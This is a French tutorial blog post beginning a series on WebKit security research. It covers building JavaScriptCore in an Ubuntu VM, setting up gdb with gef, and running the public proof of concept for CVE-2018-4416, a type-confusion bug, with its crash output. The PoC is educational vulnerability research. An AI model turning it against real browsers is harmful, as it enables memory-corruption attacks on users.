Procédure pas à pas pédagogique de CVE-2018-4416, une vulnérabilité de confusion de types dans WebKit JavaScriptCore, avec PoC, configuration de débogage, et analyse des techniques courantes d'exploitation binaire de navigateurs.
Je choisis un relativement simple : /WebKit/. (ChakraCore pourrait être plus simple, lol. Mais il y a une rumeur selon laquelle Microsoft annulerait le projet. J'ai donc décidé de ne pas le choisir.)
Je vais écrire une série d'articles pour noter mes notes dans l'étude de la sécurité de /WebKit/. C'est aussi ma première fois que j'apprends la sécurité des navigateurs, mes articles auront probablement beaucoup d' erreurs. Si vous les remarquez, n'hésitez pas à me contacter pour des corrections.
Avant de le lire, vous devez savoir : - Grammaire C++ - Grammaire assembleur - Installation de machine virtuelle - Être à l'aise avec Ubuntu et sa ligne de commande - Concepts de base de la compilation
** Machine virtuelle :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Tout d'abord, nous devons installer une VM comme cible de test. Ici, je choisis /Ubuntu 18.04 LTS/ et /Ubuntu 16.04 LTS/ comme système hôte. Vous pouvez télécharger [[https://www.ubuntu.com/][ici]]. Si je ne précise pas la version, veuillez utiliser 18.04 LTS comme version par défaut.
Mac pourrait être un choix plus approprié car il a XCode et Safari. Compte tenu de la consommation élevée de ressources de MacOS et des mises à jour instables, je préfère utiliser Ubuntu.
Nous avons besoin d'un logiciel de VM. Je préfère utiliser [[https://www.vmware.com/][VMWare]]. Parallel Desktop et VirtualBox (gratuit) sont également acceptables, cela dépend de vos habitudes personnelles.
Je ne vais pas vous expliquer pas à pas comment installer Ubuntu sur VMWare. Cependant, je dois encore vous rappeler d'allouer autant de mémoire et de CPU que possible car la compilation consomme énormément de ressources. Un disque de 80 Go devrait suffire pour stocker le code source et les fichiers compilés.
** Code source :PROPERTIES: :CUSTOM_ID: source-code :END: Vous pouvez télécharger le code source de WebKit de trois manières : [[https://github.com/WebKit/webkit][/git/]], /svn/ et [[https://webkit.org/getting-the-code/][/archive/]].
Le gestionnaire de versions par défaut de WebKit est svn. Mais je choisis git (trop peu familier avec svn) :
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Débogueur et éditeur :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: L'IDE consomme beaucoup de ressources, donc j'utilise vim pour éditer le code source.
La plupart des travaux de débogage que j'ai vus utilisent lldb que je ne connais pas bien. Par conséquent, j'installe aussi gdb avec le plugin gef.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Compilation de JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compiler un WebKit complet prend beaucoup de temps. Nous ne compilons actuellement que JSC (JavaScript Core), d'où proviennent la plupart des vulnérabilités.
Maintenant, vous devez être dans le répertoire racine du code source de WebKit. Exécutez ceci pour préparer les dépendances :
#+begin_src shell Tools/gtk/install-dependencies #+end_src
Même si nous ne compilons pas encore le WebKit complet maintenant, vous pouvez d'abord installer les dépendances restantes pour les tests futurs. Cette étape n'est pas requise pour compiler JSC si vous ne voulez pas passer trop de temps :
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
Après cela, nous pouvons compiler JSC :
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
Quelques minutes plus tard, nous pouvons exécuter JSC avec :
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
Faisons quelques tests :
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Déclenchement de bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS ici #+end_quote
Nous utilisons [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] pour tester, voici le PoC. Stockez-le dans =poc.js= dans le même dossier que =jsc= :
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Démarrage de l'optimisation. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // L'ID de structure de "tmp" est stocké dans un JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // L'ID de structure de "obj" est égal à celui de tmp.
return obj[k]; // Confusion de type.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
D'abord, basculer vers la version vulnérable :
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote Cela peut prendre encore plus de temps que la compilation #+end_quote
Exécutez : =./jsc poc.js=, et nous obtenons :
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
Si nous exécutons ceci sur la dernière version (=git checkout master= pour revenir en arrière, et supprimer le contenu de la construction =rm -rf WebKitBuild/Relase/= et =rm -rf WebKitBuild/Debug/=) :
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks